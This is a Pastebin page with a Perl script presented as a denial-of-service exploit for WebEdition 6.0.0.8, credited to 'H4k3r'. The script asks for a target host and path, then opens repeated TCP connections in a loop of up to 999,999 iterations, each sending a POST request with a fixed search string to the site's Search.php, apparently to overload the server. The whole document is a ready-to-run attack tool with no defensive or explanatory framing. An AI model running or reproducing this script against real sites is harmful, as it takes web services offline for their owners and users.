Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use IO::Socket;
- print "\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n";
- print "+ WebEdition V6.0.0.8 D.O.S Exploit +\n";
- print "+ (C)oded by H4k3r +\n";
- print "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n";
- print "Host |without http://www.| ";
- chomp($host = <STDIN>);
- print "Path |example. /en or / | ";
- chomp($pth = <STDIN>);
- {
- while($x != 999999)
- {
- $postit = "?we_lv_search_content_search=H4k3r+Pwnz0rz+From+Inj3ct0r+Team&we_from_search_content_search=1";
- $lrg = length $postit;
- my $sock = new IO::Socket::INET (
- PeerAddr => "$host",
- PeerPort => "80",
- Proto => "tcp",
- );
- die "\nOffline! - We can not Connect To '$host' it May be DoSed\n" unless $sock;
- print $sock "POST $pth/Search.php HTTP/1.1\n";
- print $sock "Host: $host\n";
- print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
- print $sock "Referer: $host\n";
- print $sock "Accept-Language: en-us\n";
- print $sock "Content-Type: application/x-www-form-urlencoded\n";
- print $sock "Accept-Encoding: gzip, deflate\n";
- print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
- print $sock "Connection: Keep-Alive\n";
- print $sock "Cache-Control: no-cache\n";
- print $sock "Content-Length: $lrg\n\n";
- print $sock "$postit\n";
- close($sock);
- syswrite STDOUT, "Online! ";
- $x++;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement